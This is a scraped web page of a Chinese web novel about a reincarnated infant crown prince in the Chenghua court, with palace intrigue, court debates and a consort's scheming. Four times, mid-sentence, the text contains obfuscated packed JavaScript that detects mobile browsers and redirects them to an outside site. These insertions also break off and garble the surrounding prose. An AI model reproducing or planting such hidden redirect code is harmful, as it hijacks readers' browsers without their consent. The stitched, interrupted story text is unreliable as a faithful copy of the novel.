明朝中后期,不知道有多少往关外跑的游商,为了赚取更多的利益,从而将朝廷明令禁止的盐铁,特别是铁矿,偷偷带到关外,为关外各游牧势力提供了大量造反资本。 不提各地抓捕细作,所造成的骚乱。实际上,相较细作继续留着,在大明搅风搅雨,或收买大臣,或在民间蛊惑民心。 总之一句话,投敌卖国者死不足惜。 引发的骚乱,很快就平息了。各地皆是如此,包括京城在内。 京城毕竟是中枢,锦衣卫东厂皆坐镇京城,因此京城的骚乱刚开始,就被按压了下去。 不过这几日,紫禁城内的大小主子们,都不是很高兴。当然,朱见深和万贞儿,是真正意义上的不高兴,而嫔妃宫娥们,纯粹就是因为朱见深、万贞儿心情不好,战战兢兢的,自然没有高兴的余地。 这天,天还没有亮,朱见深就赶早起来,开了早朝会。依然金銮大殿,朱见深坐在龙椅上,居高临下的看着神色各异的文武大臣。万贞儿呢,依然抱着朱佑棱坐在龙椅之后。用帝妃二人组的话来说就是,政治从奶娃娃开始培养。 嗯,朱佑棱觉得这很好,还不太会说话,但他会听啊。从婴儿孩提时代,就开始提高政治素养,有利于他以后执掌大权。 为了确保不在听的中途又睡过去,朱佑棱还暗中掐了自己一把,掐得自己眼泪汪汪,人果然很清醒。 从成化三年开始,年景就不太好。一开春,先是陕北那边传来干旱的消息,接着就是江南水患,扬州盐贩趁机坐地抬价,甚至造反,再接着,也就是朱佑棱周岁宴后,鞑靼频繁侵扰边境,而原本诚服大明的建州女真首领董山,暗中与鞑靼勾勾搭搭,早有反叛之心。 道一句内忧外患不为过,但就严重的程度来讲,根本赶不上崇祯皇帝的时期,那才真的是内忧外患,还有天灾降临,全球进入小冰川时代。 对比那时候,成化年景简直不要太好。 当然以上是朱佑棱的想法,而朱见深他们,毕竟没有后世的记忆。现在的情况就是,朱见深对辽东那边采取军事行动,文官们大多不赞同,但在以朱见深不御驾亲征为前提的情况下,还是依着朱见深的意思。 现在好了,年景不好,陕北干旱江南水患,总得派钦差前往两地赈灾吧。而赈灾,就涉及到了国库资金。 去年的时候,户部官员就哭穷,说没收上来多少税收。 现在一提赈灾,咦,有亿点点银两,不是被万岁爷你拿去发军饷了嘛。要不今年在十税三的基础上,再加两成税? 朱见深:“......” 万贞儿:“......” 朱佑棱:“......” ——妈哒,国贼禄蠹,果然明之一朝,最该杀的便是某些官员。 朱佑棱恼恨自己现在不会说话,不然准喷说出这样话来的官员满头唾沫。 “朕记得历年来发生天灾,百姓受难之时,朝廷都是免收受灾之地的赋税。朕不知道你的四书五经到底读到了哪儿去,想必说读到狗肚子里,那是辱狗了。” 朱见深瞄了一眼户部官员,不认识,不过四五十岁的年龄,还在户部员外郎的位置上坐着,可见不是个有能力,是熬资历的家伙。 那深感受到侮辱的样子,让朱见深不忍直视。 “拖下去。”朱见深挥手,立马就有候着的东厂人员,将那官员拖了下去。 “加税不可能。”朱见深强调。“至于筹备赈灾银两,户部那么多官员,一起思索,朕就不信尔等大脑空空,什么办法都想不出来。” 户部官员们:“.......” “吏部可有推荐赈灾钦差的人选?” “老臣推荐吏部侍郎叶盛。”内阁大臣商辂开口道。 而他口中的叶盛,算是明朝时期不错的官员。很有文化素养,是著名的学者。历史上曾担任两广巡抚,评价不错。更著有《水东日记》、《叶文庄公奏议》等。 朱见深点头,他其实对中枢朝廷的大多官员并不怎么熟悉,唯一熟悉的,不过是李贤、商辂等内阁大臣。 很多官员的任免,朱见深都会过问内阁成员,由他们举荐之后,再进行官员任免。 “那就叶盛,唔,为钦差,赶赴江南一带处理水患,安置百姓。陕北那边,就由御史台的御史去一人。” 此话一出,巡案御史强珍出列请缨。 “那就强卿担任钦差,前往陕北一带处理旱灾,必要时,可先斩后奏。” 之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16632224|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以这样说,那是因为位于黄土高原的陕北几乎隔三差五就闹干旱,不,或者说整个陕西(陕北隶属陕西,陕西北部的统称)气候干燥,常年无雨。历史上很多次出现大饥的旱情,都是陕西一带。 强珍性格刚直,喜欢直谏,有他前往陕北,应该能很快稳定局势。 朱见深自觉决策做得十分不错,刚有点儿自得,‘找麻烦’的来了。 明朝文官团体,属于很复杂的团体,有好的,更多的却是好坏参半的文官。他们当官只为主人、自己做主,不会关注民生,必要的时候,甚至可以卖了国家人民。但偏偏政治上,他们都挺有能力的。 “陛下,如今关内灾害四起,边关不易起战事。还是当以和为贵,抚为上策。” 朱见深:“......” 几乎瞬间,朱见深的眼眶儿红了起来。这是被气的,特么的,要不是他脾气好,非跳起来学习老祖宗的手艺,将这玩意儿剥皮楦草不可。 “朕是皇帝,不可朝夕令改。” 朱见深拂袖起身,不再看满朝的臣子。 “退朝。” 本准备大步离开金銮殿,但刚走了一步,嗯,想起万贞儿还抱着孩子坐在龙椅之后,朱见深转而停住脚步,让官员们赶紧滚蛋。 官员们心思各异地退出大殿,此时天已经微亮,晨晖透过高高的窗棂照进来,将朱见深扑向万贞儿怀抱的身影拉得很长。 被‘丢’给怀恩公公的朱佑棱,都懒得看这对真爱,直接一手扯着怀恩公公的衣袖,一手指着大殿门的位置。 “出!去!” 多不容易啊,朱佑棱这回清楚的表达了自己的想法。 他要去外面,不要在这里看小亲爹和美人亲娘秀恩爱。 怀恩公公却不敢擅自做主,而是请示朱见深。朱见深现在忙着跟万贞儿撒娇呢,哪里顾得上亲儿子,埋胸求万姐姐安慰的他,连头都没有抬直接挥手让怀恩公公将朱佑棱抱走。 怀恩公公得令,立马抱着朱见深离开金銮大殿。此时先前鱼贯而出大殿的官员们,大部分来没有走。 内阁的几名阁老,貌似还在吵架。吵得脸红脖子粗,大有随时可以挽袖子干一架的架势。 而当怀恩公公抱着朱佑棱走进的时候,以商辂为首的七名内阁大佬全都恢复了平日里惯有的优雅。 “太子殿下白白胖胖,看起来就可人。” “不会夸奖就不要开口,太子殿下聪明外挂,一看将来就大有出息,定能成为一代明君。” “嘿,你这老货真不要脸,这样的话都说得出来。” “呸,你这老货更不要脸,老夫这是基于事实,合理的推测,难道你觉得太子殿下没有当明君的潜质。” “老夫没这么说,你别冤枉老夫。” 只一瞬间,七位内阁大佬就吵成一团儿,虽说是夸奖,但是吧,听着挺不对味的。鉴于朱佑棱现在还小,句子都说不连贯,所以呢,朱佑棱就做个安静的美孩子,瞪大眼睛直直的瞅着七位内阁大佬,想听听他们还能说出怎样的‘违心’之言。 21.第021章 朱见深登基之初,内阁成员已有7人,都是朱祁镇安排的。 首辅李贤,是大明战神复辟的核心重臣。其余者,朱见深更信任商辂。商辂勉强算没有辜负朱见深的信任,但是呢... 朱见深就不是个能听官员,甘当傀儡,官员说什么就是什么的主儿,自然史书说他还不如朱佑樘。 但怎么可能呢,最起码朱见深敢和文官们硬刚,而朱佑樘,他很听话,文官们自然满意。本身舆论那支笔,就握在文官手中。 对于不听他们话的朱见深,自然就极尽诋毁。 这么说吧,朱见深能在历史留下独爱老女人,除此之外毫无建树的名声,代表朱见深本身能力其实挺不错的。 就是爱撒娇而已。 那是和万贞儿情趣,从小到大,朱见深向着万贞儿撒娇,其实已经习惯了。 “几位大人这是在商谈国事?” 怀恩公公也是挺狭促的人,明明知晓为什么内阁大臣们在内讧,却依然为他们挽尊。就当没有听到,他们对朱佑棱的奉承话语。 几位内阁大臣稳重淡定,为首的李贤轻轻点头。表示就是这样,他们没有内讧,只是退朝以后心情好,互相调侃对方而已。 “怀恩公公这是带着太子殿下遛弯?” “是的,太子殿下室内待烦了,就想来外面走动。” 怀恩公公温和的说话,态度十分的好,完全没有大权在握的得势太监的傲慢以及跋扈。 而几位内阁大臣们,也属于比较好说话的类型。怀恩公公态度好,他们自然不会摆出高傲的姿态,来句‘不屑和阉狗同流合污’的话语。 “春光明媚,是个踏青游玩的好日子。”李贤感慨。“只是太子殿下还小,不可在室外久待。还得时刻注意保暖,免得又邪风入体,不小心感染了风寒。” “杂家知晓,还请各位大人放心。” 说罢怀恩公公就抱着朱佑棱告退了,全程没有给朱佑棱开口的机会。 哦,即使给了,朱佑棱想必也不怎么喜欢开口就是了。 ——哎!太难了! 咬字不清楚,他也不想啊! 谁让他现在还是13个月大的宝宝呢! 不过是时候练习说话了。 ——加油,朱佑棱! 朱佑棱努力给自己加油打气,并且努力练习说话。如此过了十来天,朱佑棱已经能很流畅的开口喊父皇,母妃了! 此时已经5月,天气完全转热。朱佑棱果真被换上了绣着仙鹤的红肚兜,还穿着黑色的裤裤。不过顶着小光头,每天动不动就扯嘴巴露出笑靥,惹得小亲爹时不时就要惊呼一声。 “鹤归这是又圆润了。” 朱佑棱:“......” 会不会说话,婴孩的圆润能叫圆润?那明明是可爱多吃多了膨胀的婴儿肥,什么圆润,小亲爹就是喜欢大惊小怪! “小孩子这样正常。我记得深郎小时候,也是这样,白白胖胖很是可爱。”万贞儿感叹说。那个时候的朱见深也剔了个小光头。 据说这是洪武大帝留下的传统。小孩子酷暑时期,就剔光头。这是朱佑棱第一次剔光头,别说,感觉还挺棒的。 特别是摆脱束缚后,朱佑棱手手脚脚都能动,那更是见天的撒欢儿。今儿不是宫娥太监抱着去御花园逛,就是在安喜宫光洁溜溜的地板上爬来爬去,别提有多兴奋了。 万贞儿惯会纵着他,而朱见深,同样会纵着他。但是呢,朱见深的性格本来就不靠谱。有时候吧,贱嗖嗖的,朱佑棱不理他,就主动来撩拨,朱佑棱要是因此有什么特别的反应。朱见深就会特别嘚瑟。 哦!最过分的是,朱见深还喜欢当着他的面秀恩爱,时不时就要埋胸。朱佑棱表示没眼看,能快速爬能战战巍巍的走几步时,朱佑棱就会在朱见深抵达安喜宫的时候,快速爬走。哪怕先前正在练习走路,朱佑棱也会改爬,嗖嗖的远离。 今日阳光灿烂,苦夏的朱见深哭唧唧的来找他的万姐姐寻求安慰,朱佑棱本来抱着他那琉璃水晶奶瓶在吨吨吨的喝奶。 一看到朱见深泪眼朦胧的模样儿,顿时打了个激灵。 妈惹,每逢小亲爹这样子,都会来一段容易掉鸡皮疙瘩的真爱宣言。要说恶心吧,其实还好,就是听多了腻得慌。 而且每次真爱宣言完毕后,小亲爹就会转而‘折腾’他,瞧瞧这回,居然跑来说他又圆润了。 朱佑棱很生气,干脆琉璃水晶奶瓶一扔,‘唆唆’的往外爬,势必要用行动证明,他不是又圆润了,只是婴儿肥的面积又扩大了。 即便真圆润得像颗球,那也要怪老朱家的基因。想想他小亲爹,再想想往上的祖宗,好像胖的人还不少。 就算长大后摆脱婴儿肥,还是身材圆润瘦不下来,那也没什么。小亲爹不也属于微胖界的帅哥,身为皇帝,其实美丑、高矮胖瘦已经没那么重要了。 小翠和小红一起去了御膳房,皇庄送来几只乳鸽,万贞儿让炖了。小翠和小红都不会处理,干脆就拎上乳鸽去御膳房,让御厨将乳鸽处理了。另外新鲜的河鲜,豆腐以及山珍送来不少,都是挑的最好,余下的送往其他宫。 朱佑棱喜欢吃虾,和虾有关的一切菜肴,都喜欢。万贞儿作为生母,也是知道的。只是朱佑棱现在还小,河鲜寒凉,大人不可多吃何况是小孩。因此已经开始吃辅食的主佑棱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女官当即变了脸色,硬气无比的说:“这是太后娘娘想吃,皇贵妃作为晚辈,长辈要吃,莫非还不情愿舍了?” “好话孬话都被你说了,我们可没有说什么。”小翠嘲讽回去。“不就是看咱们主子好说话,这才借着长辈的名义,做丢面儿的事。” 小红紧接着说:“我们可不相信这是太后娘娘能做的事情,别是你打着太后娘娘的名义,故意来挑事的吧。” “你们...” 被激的女官指着小翠的鼻子,更显开骂时,被小翠不耐烦的挥开。 “说话就说话,动手动脚你是想干什么?”小翠不屑的道。“御厨在呢,要是真心实意想为太后娘娘炖一份党参乳鸽汤,那就老老实实的让人将内务府养的肉鸽杀了,不是真心实意,就赶紧让开,我和小红姐姐还要赶着回去亲自动手炖药膳呢。” 22.第022章 作为万贞儿身边的一等大宫女,小翠和小红对外从来都是傲慢的。她们不常惹事,但是呢,麻烦找上门来,那也谁都不怕! 周太后身边的女官又如何,没见哪家女官这样脸大,想挑事儿都不知道找好的理由。 小翠眼中充满鄙夷,而小红好不了哪儿去。女官险些气炸了肝儿,想闹但居然忍住了。 “今儿的事,我会告诉太后娘娘。” 女官傲气十足的哼了哼,大有周太后会做主处罚小翠、小红的架势。 小翠和小红顿时笑了,嘲讽意味满满。 “随便告,谁不告谁是小狗!”小翠冷哼一声,趾高气昂的转头,却是对御厨脆生生的来了一句。 “今儿的豆芽不错,一会儿我取点回去做银芽肉丝,我家娘娘最喜欢这道菜了。” “好嘞,小翠姑姑随便拿,不够的话,还有新鲜做的白玉豆腐,里面加了玉果(花生),香得很。” “那你给我拿几块。”小翠一点都不见外,直接就应了下来,顺便还让小红,拿了内务府刚采买的新鲜蔬菜。 都是一些夏季常见的蔬菜。特殊,比较精贵稀有的蔬菜,基本种在皇庄。皇庄出产的,一般专供皇室。而给万贞儿特意送乳鸽的皇庄,则是专供历任皇帝的皇庄,一般都捏在皇后手中。 但也说了,这是一般的情况下,不一般的情况,就是万贞儿的这种情况。从万贞儿成为贵妃的那一天起,她手中就捏着属于皇后的权柄。 万贞儿虽没有皇后之位,却有皇后之实,自然当之不愧为朱见深后宫第一人。而背靠这样的靠山,小翠和小红还真就不怕周太后身边伺候的女官。 甚至她们俩安排今日的膳食时,瞥见周太后身边女官憋屈至极的走了,还发出很明显的嘲笑。 “瞧瞧这做派,不知道的人,还以为她才是太后娘娘呢!” 小红扯了扯小翠的衣袖,让她在外面克制一点儿。 小翠不以为然,还道。“咱们娘娘又不是王皇后,连手下做事听差的奴婢都护不了。” 嗯,小翠说的是事实,也是嘲讽。 作为主子,如果连手下的奴婢都护不了,久而久之,便没人把她当一回事儿。王皇后就是如此,如今皇后的位置名存实亡,只靠着殷勤伺候周太后能有一席之地。 然而周太后其人,是没有几分宫斗手段的,全靠运气衬托。再者周太后这人,小家子气,有时候吧,自己都觉得不够,又怎么会给殷勤伺候她的王皇后几分薄面。 她可是太后,母凭子贵登上后位的太后娘娘,是王皇后的婆母,王皇后奉承伺候她,是王皇后的本分。理所应当。敢奢求优待,那是妄想。 当然也就是小翠和小红不怕,换做其他宫的人,对上慈安宫听差的女官,只有夹着尾巴做人。当年的万贞儿,作为孝恭章皇后孙氏的身前听差的女官,却是将女官的身份,利用得淋漓尽致。这才在复杂诡秘的环境中,将朱见深护得死死的。 “瞧着吧,这事儿没完。”小翠又道。“就冲她那死样儿,八成会哭着回慈安宫找太后娘娘为她做主。” 小红:“对啊,十有八|九会发生这一出儿,但你会怕?” “你应该问太后娘娘,是否会为了区区一名女官来找麻烦。”不是小翠低看周太后,而是周太后上了年龄后越发的不知所谓。 自视甚高,谁也看不顺眼。而且谁知道周太后会不会抽风,觉得她们俩怼人,是特意为之,只是为了针对。 “行了,别说了,咱们该回去将鸽子洗洗炖了。” “呀,我倒是忘了,太子殿下喜欢吃虾,我得拿点新鲜的河虾回去做虾仁粥。” 小翠让小红先将宰杀好的乳鸽带回去炖上,她呢,又去找御膳房的管事,要最新鲜的河虾。东西六宫的殿宇,都设有小厨房,平日里都小厨房开口,每隔三日,内务府的人就会将娘娘们份额送来。但要谈新鲜程度,怎么说呢,和皇帝的宠爱挂钩! 万贞儿当之无愧的后宫第一人,宠爱什么的根本没必要提,小翠和小红爱往御膳房跑,主要是她们不会杀鸡宰鱼,而且小厨房的大厨,手艺好,但是呢,同样不太会宰杀鸡鸭鹅等牲口。 小红先行回了安喜宫,就将乳鸽和党参、山药一起小火慢炖上。之后又趁着时间还早,招呼其他宫娥看好了,就去瞄朱佑棱在哪里。 朱佑棱在哪里呢? 他叼着奶瓶快速的爬出大殿,正沿着台阶,准备爬去薅墙角窗前下种植的茉莉时,被前往汇报工作的汪直看到,一把捞起来往院中放着凉席上放。凉席周围用光滑的木桩子制作的栅栏围起来,朱佑棱一被放进去,感觉自己就像被圈养的羊羔。 当然朱佑棱不会咩咩叫的抗议,他只是沉着脸,故作深沉的思考人生。 人生(参)好苦,炖成鸡汤,味道就变好了。权势和金钱,就像佐料,人参鸡汤没了它们,就没了味道。 所以啊,他到底什么时候能长大? 朱佑棱摇晃着手中的奶瓶。是用烧制的整块琉璃,精雕细琢而成。里面有吸管,放奶进入,只要轻轻一吸,就能轻松的喝奶。 一开始看到的时候,朱佑棱惊为天人,但转念一想,又觉得实属应当。大明工部的能工巧匠们,哪个不擅长鲁班艺技,不过是孩童喝奶的奶瓶而已,给个机会,还能给人装上木质的翅膀,飞上天翱翔呢。 不奇怪,一点儿也不奇怪。 朱佑棱觉得自己大惊小怪,开始见天的叼着奶瓶到处爬。圈地盘,也在锻炼身体。如今被放到圈圈里,说不郁闷那是不可能的。 但好在朱佑棱有时候心挺大的,倒没有生气多久,就自顾自的玩耍。汪直走后没多久,小翠回来了。 “小殿下你怎么被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16644646|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈在这儿。”小翠惊讶得很。 “走!”朱佑棱拍手,示意小翠将他抱出圈儿。 小翠听话的将朱佑棱抱起,本打算抱着朱佑棱逛一圈,结果朱佑棱让小翠将他放下,他要练习走路。 “走。要走。” 朱佑棱清楚的表达了自己的意思,小翠只得将朱佑棱放下。 朱佑棱如今13个月大了,爬得飞快,站得稳当,就是走起路来摇摇晃晃,就像一只肥美的企鹅,又像扑腾翅膀的鸭子,可爱又滑稽。 “哎哟,小殿下,您慢点儿!” 小翠亦步亦趋地跟在后面,紧张得满头是汗,生怕这小祖宗磕到旁边的桌角凳腿。 朱佑棱才不管这些,他正朝着大殿内摇摇晃晃的走去。结果刚刚用爬的方式,爬过门槛,还没多走几步呢,就被摆在中央位置,鎏金狮子滚绣球造型的熏香炉拦住了去路。 朱佑棱懵然的眨眨眼睛。 “怎么在?”朱佑棱咬字清晰无比的说。先前根本没有在这儿,怎么眨眼的功夫,就多出了这么个东西。 汪直这位颇受万贞儿信赖,已经升位成为西厂首位厂督的家伙,此时已经向朱见深汇报完了工作,看到朱佑棱懵然的眼神,就把自己先前将朱佑棱放进‘圈子里’的事儿说了出来。 万贞儿斜倚在贵妃榻上,穿着一身轻薄的碧色纱衣,手里摇着一柄缂丝团扇,笑吟吟地看着朱佑棱撒欢。儿子这般活泼健壮,是她最大的欣慰。 “鹤归这几日精神头儿十足,不止爱爬还要自己走,本宫想着这样对身体好,也就由着。” “娘娘慈心。” 汪直恭维一句,万贞儿便挥挥手,示意他还有什么要说的。 朱见深其实也在,但他苦夏,没听一会儿就去霸占床铺,枕着竹美人美美的睡觉。 “娘,炉,碰!” 朱佑棱比手画脚,示意说鎏金狮子滚绣球造型的熏香炉摆在这儿,容易撞到崽儿。 “没听见小殿下说的?”万贞儿声音慵懒的开口,“赶紧将熏香炉挪开。” 闻言,侯在一旁的工人赶紧动手,将鎏金狮子滚绣球造型的熏香炉挪开,放置到了角落。 朱佑棱开始摇摇晃晃的朝万贞儿走去。万贞儿一直含笑看着,等待‘摇摆的小鸭子’朝自己扑来。 是的!扑来。 靠近万贞儿的那一刻,朱佑棱就往她的怀里扑。 扑了个正着,万贞儿伸手揽住,那带着淡淡花香味儿的馨香瞬间将朱佑棱。 朱佑棱使劲蹭了蹭,随即笑得异常甜蜜的唤娘亲。 用后世的话来说,朱佑棱就是个妈宝男。现在的他,只觉世上只有娘亲好,只要崽他健健康康,不用多努力,只要顺利长大,他的人生就一帆风顺,哪怕再多的不平,万贞儿都会帮忙填平。如此好娘亲,朱佑棱又岂能不爱! 23.第023章 “娘娘,出事了。” 小红突然走了进来,脸色有些凝重。 她先看了一眼已经从万贞儿怀中离开,在室内到处乱跑的朱佑棱,才走到万贞儿身边,低声道。 万贞儿摇扇的手一顿,秀眉微蹙:“何事?” “柏氏病了,汪太医去瞧过,说是和当初太子殿下‘感染风寒’时的症状一模一样。而那柏氏,哭晕了好几次,口口声声说是……说是有人要害她。” “谁要害她?”万贞儿冷笑。“进了东厂的玩意儿,现在得出东厂不必住冷宫,已算幸运。谁人会害她?害她又有什么好处?” “等等...”万贞儿眼中寒光一闪,团扇“啪”地合上。“只是这样,你不会特意来跟本宫说,可是那柏氏说本宫在害她?” 小红点头又摇头。“那柏氏只说有人害她,未曾提起主子。” “那就是有这想法。”万贞儿嗤笑,不屑的说:“当初鹤归生病太医只说邪风入侵。小儿体弱,才导致病势一泻千里,一度昏厥不醒。但本宫可不相信,本宫的鹤归身子骨有那么弱。只是那时候本宫所有注意力都放在鹤归的身上,这才没有及时抓住证据,指定罪魁祸首。” 当初朱佑棱穿越之初,一度高烧40°C,浑身滚烫,仿佛要被烧熟。万贞儿抱着朱佑棱彻夜难眠,所有心神都牵引系挂在病得奄奄一息的儿子身上,连朱见深都忽略了,何况是找朱佑棱被谋害的证据呢。 所以等朱佑棱好了,万贞儿开始调查的时候,许多隐隐约约的证据,都被消灭得干干净净。好在万贞儿这个人,关键时候不喜欢较真儿。她认为是,那就是。 没找到多少证据又有什么关系,反正她认准了,直接将朱见深的后宫‘血洗’了一遍。形容略显夸张,但总归...在万贞儿梦境中出现的女人,除了那生下朱佑樘的纪氏,都被万贞儿折腾得没了‘奋斗精神’。 至于纪氏为什么没有被折腾,主要梦境告诉万贞儿,纪氏要在成化四年的时候,才以罪奴的身份入宫。 (注:历史上朱佑樘生母是成化二年被明军俘入掖庭,成化六年被宠幸生下朱佑樘,之后成化十一年暴毙。) 万贞儿等着纪氏入宫,然后... 朱佑樘? 可以留下,反正她儿在,朱佑樘就只能当个藩王。 至于他的生母纪氏... 笑死,去母留子就好。 都敢在她的梦境中出现,并且朝梦境中的自己耀武扬威。她能在梦境中将纪氏弄死,现实中也能。 “主子说的对,只不过那柏氏,隐隐将冒头指向了皇后娘娘。” “王氏?” 万贞儿嗤笑一声,团扇有一下没一下地敲着手心. “她倒是会挑软柿子捏。王皇后那个泥塑的性子,能有这魄力下手?本宫本来想,她或许是真的病了,但如今看来,只怕是借着生病,好病急乱投医。” “听说在冷宫的时候,吴妃对柏氏极好,吴氏从冷宫出来,柏氏反倒和吴妃断了关系。”小红迟疑,总觉得这里面有故事。 恰好万贞儿也是这样认为,但她没有探知的意思,反正柏氏废了,吴氏即使出了冷宫,也不能再次当皇后,王氏在继后的位置上坐着呢。又怎么可能乖乖让位,将皇后的宝座让给吴氏。 吴氏是元后,又如何,还不是说废就废。 可别轻易的挑战朱见深的底线,而朱见深的底线,是万贞儿。 “不过是弱者的互相扶持。”万贞儿冷哼的说。“困境中,只有这样才能活下去。而出了困境......” 万贞儿嗤笑起来。 “世人都说共富贵容易,一起患难与共不容易。可偏偏本宫看法不一致,最容易互相扶持渡过的,反倒是共患难容易,共富贵难。” “娘娘说得极是,”小红赞同道。“所以奴婢才认定,吴妃和柏氏之间有故事。” 万贞儿微微颔首。“那药用了没?” 小红点头,回答说。“用了,奴婢和小翠一块儿,亲自安排的人手,保证王皇后,吴妃还有那柏氏,永远绝了子嗣的可能。” “如此便好。”万贞儿笑得分外张扬肆意。 “以后管他们三人想要互相狗咬狗,把水搅浑呢还是怎么的。反正本宫最希望看到的,便是吴氏和那王皇后对上。” 这样能很好的看戏,也能稍微报点仇。 小翠这时候进来,神色莫名,语气却充满对万贞儿的崇拜。 “娘娘,果真如你所料,如今谣言四起,已经隐隐约约牵扯到了安喜宫了。” 小红愕然,“才这么短的时间,就这样了?” “故意针对,自然就这样了。”小翠倒是很清醒的说。“其中少不了太后娘娘那儿的推波助澜。” 这阖宫上下,谁不知周太后最喜欢干的,便是损人不利己的事情。只要能牵扯到万贞儿,不管多损伤自己,周太后也会干的。哪怕她的亲生儿子朱见深对此知之甚详,周太后干的事儿多半只损伤自己一方,依然乐不疲此。 小翠又道:“那柏氏的心思,确实不难猜。不过是想借着生病博取万岁爷的一丝怜悯之心。可惜太后娘娘那边拖后腿,导致现在风向往娘娘这儿吹。奴婢觉得,柏氏多半慌了。” 小翠想说的是,现在宫中的风声,说的是柏氏的病来得蹊跷,而且和当初朱佑棱病时相似,还隐隐约约有万贞儿自编自导的谣言。 意思是指,朱佑棱当初病得奄奄一息,差点嗝屁的情况,是被万贞儿害的。万贞儿想借着朱佑棱生病将朱见深牢牢栓在裤腰带上。 小翠到底说了,战战兢兢的等着万贞儿的反应。 万贞儿的反应挺出人意料。居然没有生气,反而露出嘲讽至极的冷笑。 “不过是连蛋都没法下的废妃,值得本宫动手?”万贞儿凉飕飕的说:“柏氏自己蠢,着了别人的道儿,还想顺着太后的意思,牵扯到本宫身上。呵,当真蠢不可及。” 万贞儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16648950|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身,走到窗边,看着外面被烈日晒得有些发白的汉白玉栏杆。 “本宫这段时间,因着深郎苦夏,导致没怎么将后宫那几人放在眼中,没曾想倒闹出幺蛾子来。” “果然啊,这对手,还是死人最不会闹幺蛾子。” 她转过身,目光扫过正努力试图爬上矮榻的朱佑棱,眼神瞬间柔和了一瞬,但随即又恢复了慵懒带点狠辣。 “小红,你去给本宫办几件事。” “主子请吩咐。” “第一,把库房前儿送来的血燕,给柏氏。就说本宫听闻她病了,甚是‘挂念’,让她好好养着,缺什么尽管开口。” 万贞儿语气平淡,却带着一丝不容置疑的意味,“东西要当着太多人的面送,越张扬越好。” 小红立刻领会:“是,主子。奴婢明白,这是告诉旁人,咱们安喜宫行事光明磊落,不惧流言。” “第二,”万贞儿嘴角勾起一抹冷笑,“你去一趟坤宁宫,替本宫‘问候’王皇后。就说柏贤妃病中胡言乱语,似乎对皇后娘娘有些误会,本宫听了心中不安,特来请皇后娘娘安,也请皇后娘娘莫要因小人谗言伤了凤体。” 请安? 自从王氏成了朱见深的继后,万贞儿又恰巧查出有孕,一次都没有给王氏请过安。 一开始王氏肯定委屈,但有吴氏被废的前车之鉴,王氏只能将委屈和泪吞,处处避让嚣张跋扈不可一世的万贞儿。 如今万贞儿这么说,不过是想点王氏,让王氏明白,最好别将这潭浑水掺和干净。 也就是说,若王皇后聪明,自然会约束宫人,平息流言;若她有什么别的心思,万贞儿这番“问候”也是警告。 “第三,”万贞儿声音压得极低,只有小红能听见。 “让咱们的人盯紧了柏氏宫里的每一个人,特别是接触过饮食药材的。再让东厂的人,给本宫好好查查,柏氏生病前,都见过谁,吃过什么,用过什么!本宫倒要看看,是谁在借柏氏这把破刀,想来砍本宫!” 万贞儿倒不怕自己给柏氏下药的事儿被查出来,反正即便捞出来,朱见深也会无脑护她。万贞儿只是想知晓,除了宫里的人,是否有藩王当初在谋害朱佑棱的事情上掺和了一把。 万贞儿从一开始,就不认为,后宫的女人,能不露风声,在她眼皮子底下,就把朱佑棱给好了。 “是!奴婢这就去办!”小红神色一凛,快步退下。 万贞儿吩咐完,深吸一口气,走到矮榻边,将还在努力攀爬的朱佑棱抱进怀里。 朱佑棱仰着小脸,黑葡萄似的大眼睛一眨不眨地看着母亲, “娘~亲亲~” 下一刻,朱佑棱咧嘴笑得异常甜蜜。 至于先前听到的,嗨,柏氏蠢被人利用,美人亲娘不借机连带柏氏一并儿收拾了,那才不符合‘心狠手辣’人设的万贞儿。 再说他可是听明白了,貌似他刚刚来到时候,生的那场重病,不是意外,而是人为! 24.第024章 那场风寒来得迅速猛烈,几个月大的婴孩哪里能抵抗得住。于是原主那弱小的魂魄飘飘忽忽,彷佛受到牵引一般,找到了后世之魂。 最终朱佑棱来了,活了下来。万贞儿也因此没有变成癫狂之人,将自己逼疯。 前文说过,一般穿越者,或多或少有金手指。 朱佑棱的金手指,除却帝妃二人组外,还有因病获得的百毒不侵buff。不过朱佑棱暂时性的不知道,毕竟他没那么傻,以身试毒。 朱佑棱只觉得自己最大的金手指,便是帝妃二人组。 心爱之人生的,又是长子,就明朝确立储君的长子继承制,连嫡子都不一样打败他继承太子之位,何况其他人。 